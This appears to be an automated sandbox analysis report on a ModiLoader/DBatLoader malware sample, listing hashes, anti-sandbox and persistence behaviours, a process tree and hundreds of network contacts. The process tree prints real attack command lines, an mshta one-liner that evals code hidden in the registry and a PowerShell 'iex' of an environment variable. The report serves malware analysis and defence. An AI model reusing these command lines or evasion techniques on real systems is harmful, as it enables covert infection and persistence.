Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    27/09/2024, 14:37 UTC

General

  • Target

    fa959b76f73f5951b7ad1f0eb23ee287_JaffaCakes118.exe

  • Size

    359KB

  • MD5

    fa959b76f73f5951b7ad1f0eb23ee287

  • SHA1

    ea95bcc3e3868706cd06cff1a32535c3a308c600

  • SHA256

    fcd1f19f66313fca32cad8c96d10ff735a129a52914eed8d039be4ffa05273f9

  • SHA512

    74c2815c9e59e03c3a0944c0f564d259bc418660a8ecf9ad1dea102a067bbfb2e1903194aa14f027e94f97abb8482061109e498f534ecc48a1cb502f046bdf90

  • SSDEEP

    6144:eYSn9YgJHXTEpUtV0V0YuXYad7kOKdrM7JbfQtv3EYe8+PV46jn/jg:F7gNXTOK1d7kOKdKfQtv0nVbjbg

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
  • Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
  • ModiLoader Second Stage 55 IoCs
  • Looks for VMWare Tools registry key 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies registry class 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fa959b76f73f5951b7ad1f0eb23ee287_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\fa959b76f73f5951b7ad1f0eb23ee287_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    PID:1892
  • C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" javascript:XKuTq1E="D3";ef79=new%20ActiveXObject("WScript.Shell");I7ep0lSmT="pruJa";los1d7=ef79.RegRead("HKCU\\software\\LvXPIOvgH\\wj9Cgra");pHV4dAuA="2PvDxS4";eval(los1d7);O8Q7Gyqf="6f";
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of WriteProcessMemory
    PID:2980
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:pjav
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2060
      • C:\Windows\SysWOW64\regsvr32.exe
        regsvr32.exe
        3⤵
        • Looks for VirtualBox Guest Additions in registry
        • Looks for VirtualBox drivers on disk
        • Looks for VMWare Tools registry key
        • Checks BIOS information in registry
        • Deletes itself
        • Adds Run key to start application
        • Maps connected drives based on registry
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:1948
        • C:\Windows\SysWOW64\regsvr32.exe
          "C:\Windows\SysWOW64\regsvr32.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:268

Network

    No results found
  • 68.140.12.239:443
    regsvr32.exe
    52 B
    1
  • 130.161.31.33:443
    regsvr32.exe
    52 B
    1
  • 171.210.27.79:443
    regsvr32.exe
    52 B
    1
  • 27.188.46.148:443
    regsvr32.exe
    52 B
    1
  • 119.143.153.239:443
    regsvr32.exe
    52 B
    1
  • 76.225.50.59:443
    regsvr32.exe
    52 B
    1
  • 121.172.222.83:443
    regsvr32.exe
    52 B
    1
  • 121.219.141.182:443
    regsvr32.exe
    52 B
    1
  • 172.91.239.104:8080
    regsvr32.exe
    52 B
    1
  • 203.109.132.217:80
    regsvr32.exe
    52 B
    1
  • 160.96.24.92:80
    regsvr32.exe
    52 B
    1
  • 81.171.167.168:80
    regsvr32.exe
    52 B
    1
  • 26.131.40.44:443
    regsvr32.exe
    52 B
    1
  • 47.108.244.217:443
    regsvr32.exe
    52 B
    1
  • 138.169.237.161:443
    regsvr32.exe
    52 B
    1
  • 118.154.200.157:8080
    regsvr32.exe
    52 B
    1
  • 46.162.181.167:80
    regsvr32.exe
    52 B
    1
  • 26.151.236.163:80
    regsvr32.exe
    52 B
    1
  • 197.157.98.74:80
    regsvr32.exe
    52 B
    1
  • 58.189.213.241:80
    regsvr32.exe
    52 B
    1
  • 142.161.133.213:443
    regsvr32.exe
    52 B
    1
  • 22.213.25.70:443
    regsvr32.exe
    52 B
    1
  • 108.165.251.246:8080
    regsvr32.exe
    52 B
    1
  • 212.42.148.163:80
    regsvr32.exe
    52 B
    1
  • 132.98.144.83:8080
    regsvr32.exe
    52 B
    1
  • 40.60.179.82:80
    regsvr32.exe
    52 B
    1
  • 53.115.229.51:80
    regsvr32.exe
    52 B
    1
  • 147.212.25.136:80
    regsvr32.exe
    52 B
    1
  • 27.66.91.126:443
    regsvr32.exe
    52 B
    1
  • 193.226.123.67:443
    regsvr32.exe
    52 B
    1
  • 125.188.147.51:80
    regsvr32.exe
    52 B
    1
  • 39.61.15.165:80
    regsvr32.exe
    52 B
    1
  • 88.75.196.130:443
    regsvr32.exe
    52 B
    1
  • 47.139.236.162:80
    regsvr32.exe
    52 B
    1
  • 143.24.135.39:8080
    regsvr32.exe
    52 B
    1
  • 174.47.10.136:443
    regsvr32.exe
    52 B
    1
  • 156.93.111.104:80
    regsvr32.exe
    52 B
    1
  • 69.76.27.230:80
    regsvr32.exe
    52 B
    1
  • 94.181.112.59:443
    regsvr32.exe
    52 B
    1
  • 87.115.139.75:443
    regsvr32.exe
    52 B
    1
  • 153.156.133.85:443
    regsvr32.exe
    52 B
    1
  • 220.239.78.233:80
    regsvr32.exe
    52 B
    1
  • 39.140.91.82:80
    regsvr32.exe
    52 B
    1
  • 172.41.227.231:443
    regsvr32.exe
    52 B
    1
  • 208.11.142.250:443
    regsvr32.exe
    52 B
    1
  • 44.98.165.213:443
    regsvr32.exe
    52 B
    1
  • 157.34.5.37:443
    regsvr32.exe
    52 B
    1
  • 110.171.234.53:443
    regsvr32.exe
    52 B
    1
  • 42.30.97.212:443
    regsvr32.exe
    52 B
    1
  • 51.157.176.121:80
    regsvr32.exe
    52 B
    1
  • 172.189.226.61:80
    regsvr32.exe
    52 B
    1
  • 40.225.93.52:80
    regsvr32.exe
    52 B
    1
  • 78.128.123.35:443
    regsvr32.exe
    52 B
    1
  • 164.48.247.191:443
    regsvr32.exe
    52 B
    1
  • 119.208.112.147:443
    regsvr32.exe
    104 B
    80 B
    2
    2
  • 173.154.47.152:8080
    regsvr32.exe
    52 B
    1
  • 94.67.102.154:80
    regsvr32.exe
    52 B
    1
  • 196.246.22.56:80
    regsvr32.exe
    52 B
    1
  • 118.181.68.58:443
    regsvr32.exe
    52 B
    1
  • 61.175.197.223:80
    regsvr32.exe
    52 B
    1
  • 55.48.175.51:8080
    regsvr32.exe
    52 B
    1
  • 25.58.64.59:443
    regsvr32.exe
    52 B
    1
  • 124.197.6.206:8080
    regsvr32.exe
    52 B
    1
  • 131.179.168.45:443
    regsvr32.exe
    52 B
    1
  • 46.17.49.215:443
    regsvr32.exe
    52 B
    1
  • 130.69.187.208:80
    regsvr32.exe
    52 B
    1
  • 133.219.165.160:80
    regsvr32.exe
    52 B
    1
  • 2.114.150.246:80
    regsvr32.exe
    52 B
    1
  • 13.235.242.201:443
    regsvr32.exe
    52 B
    1
  • 36.205.163.83:443
    regsvr32.exe
    52 B
    1
  • 136.97.66.220:443
    regsvr32.exe
    52 B
    1
  • 94.35.239.246:80
    regsvr32.exe
    52 B
    1
  • 120.158.128.12:443
    regsvr32.exe
    52 B
    1
  • 170.212.246.182:443
    regsvr32.exe
    52 B
    1
  • 62.243.2.156:443
    regsvr32.exe
    52 B
    1
  • 79.49.199.112:80
    regsvr32.exe
    52 B
    1
  • 95.116.19.255:443
    regsvr32.exe
    52 B
    1
  • 214.157.43.213:443
    regsvr32.exe
    52 B
    1
  • 17.251.242.173:80
    regsvr32.exe
    52 B
    1
  • 223.23.132.58:443
    regsvr32.exe
    52 B
    1
  • 208.183.135.175:443
    regsvr32.exe
    52 B
    1
  • 53.213.81.244:80
    regsvr32.exe
    52 B
    1
  • 193.189.49.47:80
    regsvr32.exe
    52 B
    1
  • 14.119.246.235:443
    regsvr32.exe
    52 B
    1
  • 55.49.244.21:80
    regsvr32.exe
    52 B
    1
  • 201.122.36.77:8080
    regsvr32.exe
    52 B
    1
  • 157.174.146.126:443
    regsvr32.exe
    52 B
    1
  • 42.72.145.40:443
    regsvr32.exe
    52 B
    1
  • 205.206.248.139:443
    regsvr32.exe
    52 B
    1
  • 141.24.213.178:80
    regsvr32.exe
    52 B
    1
  • 183.122.129.128:443
    regsvr32.exe
    52 B
    1
  • 52.39.108.148:8080
    regsvr32.exe
    52 B
    1
  • 135.141.118.99:80
    regsvr32.exe
    52 B
    1
  • 119.69.49.110:80
    regsvr32.exe
    52 B
    1
  • 43.198.2.98:443
    regsvr32.exe
    52 B
    1
  • 86.56.37.38:443
    regsvr32.exe
    52 B
    1
  • 131.159.197.175:443
    regsvr32.exe
    52 B
    1
  • 218.49.174.145:443
    regsvr32.exe
    52 B
    1
  • 179.221.71.20:80
    regsvr32.exe
    52 B
    1
  • 123.124.59.251:443
    regsvr32.exe
    52 B
    1
  • 6.194.236.120:80
    regsvr32.exe
    52 B
    1
  • 12.239.207.71:443
    regsvr32.exe
    52 B
    1
  • 142.222.23.135:80
    regsvr32.exe
    52 B
    1
  • 80.51.218.245:80
    regsvr32.exe
    52 B
    1
  • 60.42.13.178:443
    regsvr32.exe
    52 B
    1
  • 128.162.9.45:80
    regsvr32.exe
    52 B
    1
  • 114.84.85.237:80
    regsvr32.exe
    52 B
    1
  • 75.15.100.89:80
    regsvr32.exe
    52 B
    1
  • 6.192.96.124:80
    regsvr32.exe
    52 B
    1
  • 49.160.165.148:80
    regsvr32.exe
    104 B
    80 B
    2
    2
  • 221.26.29.123:80
    regsvr32.exe
    52 B
    1
  • 134.94.149.155:443
    regsvr32.exe
    52 B
    1
  • 67.93.217.195:80
    regsvr32.exe
    52 B
    1
  • 24.222.43.99:443
    regsvr32.exe
    52 B
    1
  • 119.244.212.101:443
    regsvr32.exe
    52 B
    1
  • 92.141.140.216:443
    regsvr32.exe
    52 B
    1
  • 210.47.233.70:80
    regsvr32.exe
    52 B
    1
  • 160.204.134.233:8080
    regsvr32.exe
    52 B
    1
  • 161.124.210.171:80
    regsvr32.exe
    52 B
    1
  • 13.115.114.207:80
    regsvr32.exe
    52 B
    1
  • 70.244.153.212:80
    regsvr32.exe
    52 B
    1
  • 217.201.169.80:443
    regsvr32.exe
    52 B
    1
  • 36.175.133.224:80
    regsvr32.exe
    52 B
    1
  • 82.216.26.2:443
    regsvr32.exe
    52 B
    1
  • 88.155.32.195:80
    regsvr32.exe
    52 B
    1
  • 212.189.147.85:443
    regsvr32.exe
    52 B
    1
  • 182.115.111.253:80
    regsvr32.exe
    52 B
    1
  • 10.2.139.192:443
    regsvr32.exe
    52 B
    1
  • 123.11.179.174:443
    regsvr32.exe
    52 B
    1
  • 222.5.244.251:443
    regsvr32.exe
    52 B
    1
  • 190.255.1.179:443
    regsvr32.exe
    52 B
    1
  • 132.198.11.58:8080
    regsvr32.exe
    52 B
    1
  • 51.149.75.197:80
    regsvr32.exe
    52 B
    1
  • 105.147.5.47:8080
    regsvr32.exe
    52 B
    1
  • 134.48.131.78:80
    regsvr32.exe
    52 B
    1
  • 88.87.121.58:80
    regsvr32.exe
    52 B
    1
  • 24.125.107.65:443
    regsvr32.exe
    52 B
    1
  • 100.65.146.201:443
    regsvr32.exe
    52 B
    1
  • 49.185.151.20:80
    regsvr32.exe
    52 B
    1
  • 112.205.12.18:443
    regsvr32.exe
    52 B
    1
  • 197.176.54.119:80
    regsvr32.exe
    52 B
    1
  • 132.36.237.14:80
    regsvr32.exe
    52 B
    1
  • 174.255.243.34:8080
    regsvr32.exe
    52 B
    1
  • 143.187.5.173:8080
    regsvr32.exe
    52 B
    1
  • 46.70.25.116:443
    regsvr32.exe
    52 B
    1
  • 6.95.237.143:443
    regsvr32.exe
    52 B
    1
  • 154.205.223.144:80
    regsvr32.exe
    52 B
    1
  • 90.123.145.74:443
    regsvr32.exe
    52 B
    1
  • 53.62.29.93:443
    regsvr32.exe
    52 B
    1
  • 184.81.136.209:443
    regsvr32.exe
    52 B
    1
  • 84.227.47.200:80
    regsvr32.exe
    52 B
    1
  • 60.34.128.85:8080
    regsvr32.exe
    52 B
    1
  • 159.68.105.56:443
    regsvr32.exe
    52 B
    1
  • 3.80.154.34:8080
    regsvr32.exe
    52 B
    1
  • 132.64.102.73:80
    regsvr32.exe
    52 B
    1
  • 51.131.92.98:443
    regsvr32.exe
    52 B
    1
  • 139.171.133.250:443
    regsvr32.exe
    52 B
    1
  • 52.39.48.107:80
    regsvr32.exe
    52 B
    1
  • 131.229.173.239:443
    regsvr32.exe
    52 B
    1
  • 50.129.184.85:80
    regsvr32.exe
    52 B
    1
  • 104.233.164.160:80
    regsvr32.exe
    52 B
    1
  • 66.115.171.149:80
    regsvr32.exe
    104 B
    80 B
    2
    2
  • 123.47.241.251:443
    regsvr32.exe
    52 B
    1
  • 66.131.91.3:443
    regsvr32.exe
    52 B
    1
  • 12.105.225.212:80
    regsvr32.exe
    52 B
    1
  • 56.69.123.162:80
    regsvr32.exe
    52 B
    1
  • 72.129.183.38:443
    regsvr32.exe
    52 B
    1
  • 32.145.122.218:80
    regsvr32.exe
    52 B
    1
  • 19.97.141.30:443
    regsvr32.exe
    52 B
    1
  • 212.246.209.194:443
    regsvr32.exe
    52 B
    1
  • 148.230.68.102:443
    regsvr32.exe
    52 B
    1
  • 10.98.86.40:80
    regsvr32.exe
    52 B
    1
  • 132.127.124.142:8080
    regsvr32.exe
    52 B
    1
  • 56.238.117.206:443
    regsvr32.exe
    52 B
    1
  • 185.13.228.219:443
    regsvr32.exe
    52 B
    1
  • 18.91.226.7:443
    regsvr32.exe
    52 B
    1
  • 174.207.54.16:80
    regsvr32.exe
    52 B
    1
  • 172.14.205.102:8080
    regsvr32.exe
    52 B
    1
  • 17.157.49.237:80
    regsvr32.exe
    52 B
    1
  • 80.83.191.226:80
    regsvr32.exe
    52 B
    1
  • 74.132.230.7:8080
    regsvr32.exe
    52 B
    1
  • 86.229.146.83:443
    regsvr32.exe
    52 B
    1
  • 206.250.120.26:443
    regsvr32.exe
    52 B
    1
  • 59.90.82.39:443
    regsvr32.exe
    52 B
    1
  • 197.31.117.59:80
    regsvr32.exe
    52 B
    1
  • 52.129.200.223:80
    regsvr32.exe
    52 B
    1
  • 79.13.191.154:80
    regsvr32.exe
    52 B
    1
  • 16.95.169.101:80
    regsvr32.exe
    52 B
    1
  • 212.220.4.35:443
    regsvr32.exe
    52 B
    1
  • 26.232.106.166:443
    regsvr32.exe
    52 B
    1
  • 198.171.193.88:80
    regsvr32.exe
    52 B
    1
  • 67.162.99.14:443
    regsvr32.exe
    52 B
    1
  • 123.104.127.213:443
    regsvr32.exe
    52 B
    1
  • 165.210.5.219:443
    regsvr32.exe
    52 B
    1
  • 32.24.199.126:80
    regsvr32.exe
    52 B
    1
  • 97.82.192.52:80
    regsvr32.exe
    52 B
    1
  • 44.116.104.153:8080
    regsvr32.exe
    52 B
    1
  • 181.135.149.169:443
    regsvr32.exe
    52 B
    1
  • 52.32.12.13:80
    regsvr32.exe
    52 B
    1
  • 126.176.66.154:443
    regsvr32.exe
    52 B
    1
  • 190.251.165.83:443
    regsvr32.exe
    52 B
    1
  • 40.214.123.10:443
    regsvr32.exe
    52 B
    1
  • 34.127.153.5:80
    regsvr32.exe
    52 B
    1
  • 216.84.77.166:443
    regsvr32.exe
    52 B
    1
  • 99.65.84.193:80
    regsvr32.exe
    52 B
    1
  • 35.216.111.247:80
    regsvr32.exe
    52 B
    1
  • 1.193.111.149:80
    regsvr32.exe
    52 B
    1
  • 14.223.68.155:443
    regsvr32.exe
    52 B
    1
  • 193.90.170.180:443
    regsvr32.exe
    52 B
    1
  • 181.139.197.252:80
    regsvr32.exe
    52 B
    1
  • 68.81.11.173:443
    regsvr32.exe
    52 B
    1
  • 149.38.182.38:443
    regsvr32.exe
    52 B
    1
  • 100.217.133.27:443
    regsvr32.exe
    52 B
    1
  • 24.74.130.233:80
    regsvr32.exe
    52 B
    1
  • 129.129.78.79:8080
    regsvr32.exe
    52 B
    1
  • 218.48.183.153:443
    regsvr32.exe
    52 B
    1
  • 35.73.203.103:8080
    regsvr32.exe
    52 B
    1
  • 214.147.238.188:80
    regsvr32.exe
    52 B
    1
  • 161.166.136.74:80
    regsvr32.exe
    52 B
    1
  • 84.18.197.73:80
    regsvr32.exe
    52 B
    1
  • 84.201.128.202:80
    regsvr32.exe
    52 B
    1
  • 56.106.39.130:443
    regsvr32.exe
    52 B
    1
  • 161.226.174.126:80
    regsvr32.exe
    104 B
    104 B
    2
    2
  • 73.38.187.138:443
    regsvr32.exe
    52 B
    1
  • 54.65.74.234:80
    regsvr32.exe
    52 B
    1
  • 34.165.113.211:80
    regsvr32.exe
    52 B
    1
  • 100.158.33.184:443
    regsvr32.exe
    52 B
    1
  • 1.234.169.141:443
    regsvr32.exe
    52 B
    1
  • 88.161.112.225:443
    regsvr32.exe
    52 B
    1
  • 60.15.116.191:80
    regsvr32.exe
    52 B
    1
  • 9.166.201.77:443
    regsvr32.exe
    52 B
    1
  • 39.60.74.193:443
    regsvr32.exe
    52 B
    1
  • 129.124.201.121:80
    regsvr32.exe
    52 B
    1
  • 55.107.125.183:80
    regsvr32.exe
    52 B
    1
No results found

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\44e1594\289e921.1f507c30

    Filesize

    36KB

    MD5

    69b4e83def802b192e3fc2001802e7cc

    SHA1

    782313f53f4b15849add08db1ef46bdbb32951e0

    SHA256

    4486b1f7bd8ab8f19f4c54682041ac38046fdb2aad7c59a76416a3b7f6115515

    SHA512

    8fedd0affd136556d5535d2b9e69092b474b89702146f79625f500d5d7b49c4bfef19db55f537fa091bbdf11eba79fecd658eb0c694a1ebc504ff2708a6cb320

  • C:\Users\Admin\AppData\Local\44e1594\b465ea0.bat

    Filesize

    74B

    MD5

    19d2d331c8c790c11eb364fc3ee6c925

    SHA1

    a5944b2ad78c0282760679daa70a1ff83992adf9

    SHA256

    e6b73f60e0c0e233a1fcd501cac1526d2d2e25346cc1ab19aeb415b250c8ad8a

    SHA512

    694a0813d4136f2053d07d70a80d367964ba46187c0072c2e152661ace5cb1a04f46b7c71864d7ddca14ab552558a9a25a87de627fa11b37a199f3eb89df1b86

  • memory/268-71-0x0000000000210000-0x000000000035A000-memory.dmp

    Filesize

    1.3MB

  • memory/268-67-0x0000000000210000-0x000000000035A000-memory.dmp

    Filesize

    1.3MB

  • memory/268-56-0x0000000000210000-0x000000000035A000-memory.dmp

    Filesize

    1.3MB

  • memory/268-68-0x0000000000210000-0x000000000035A000-memory.dmp

    Filesize

    1.3MB

  • memory/268-74-0x0000000000210000-0x000000000035A000-memory.dmp

    Filesize

    1.3MB

  • memory/268-73-0x0000000000210000-0x000000000035A000-memory.dmp

    Filesize

    1.3MB

  • memory/268-72-0x0000000000210000-0x000000000035A000-memory.dmp

    Filesize

    1.3MB

  • memory/268-66-0x0000000000210000-0x000000000035A000-memory.dmp

    Filesize

    1.3MB

  • memory/268-65-0x0000000000210000-0x000000000035A000-memory.dmp

    Filesize

    1.3MB

  • memory/268-70-0x0000000000210000-0x000000000035A000-memory.dmp

    Filesize

    1.3MB

  • memory/268-69-0x0000000000210000-0x000000000035A000-memory.dmp

    Filesize

    1.3MB

  • memory/268-64-0x0000000000210000-0x000000000035A000-memory.dmp

    Filesize

    1.3MB

  • memory/1892-4-0x0000000001DE0000-0x0000000001EBC000-memory.dmp

    Filesize

    880KB

  • memory/1892-12-0x0000000000458000-0x000000000045A000-memory.dmp

    Filesize

    8KB

  • memory/1892-5-0x0000000001DE0000-0x0000000001EBC000-memory.dmp

    Filesize

    880KB

  • memory/1892-1-0x0000000000400000-0x0000000000461F20-memory.dmp

    Filesize

    391KB

  • memory/1892-0-0x0000000000458000-0x000000000045A000-memory.dmp

    Filesize

    8KB

  • memory/1892-9-0x0000000001DE0000-0x0000000001EBC000-memory.dmp

    Filesize

    880KB

  • memory/1892-8-0x0000000001DE0000-0x0000000001EBC000-memory.dmp

    Filesize

    880KB

  • memory/1892-7-0x0000000001DE0000-0x0000000001EBC000-memory.dmp

    Filesize

    880KB

  • memory/1892-58-0x0000000001DE0000-0x0000000001EBC000-memory.dmp

    Filesize

    880KB

  • memory/1892-2-0x0000000001DE0000-0x0000000001EBC000-memory.dmp

    Filesize

    880KB

  • memory/1892-3-0x0000000000400000-0x0000000000461F20-memory.dmp

    Filesize

    391KB

  • memory/1948-36-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-22-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-39-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-38-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-37-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-41-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-35-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-33-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-31-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-30-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-29-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-28-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-27-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-26-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-42-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-24-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-23-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-40-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-21-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-25-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-20-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-48-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-49-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-50-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-51-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-52-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-53-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-47-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-34-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-32-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-16-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/1948-19-0x0000000000220000-0x000000000036A000-memory.dmp

    Filesize

    1.3MB

  • memory/2060-18-0x0000000005820000-0x00000000058FC000-memory.dmp

    Filesize

    880KB

  • memory/2060-15-0x0000000005820000-0x00000000058FC000-memory.dmp

    Filesize

    880KB

  • memory/2060-14-0x0000000002BB0000-0x0000000002BB1000-memory.dmp

    Filesize

    4KB

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.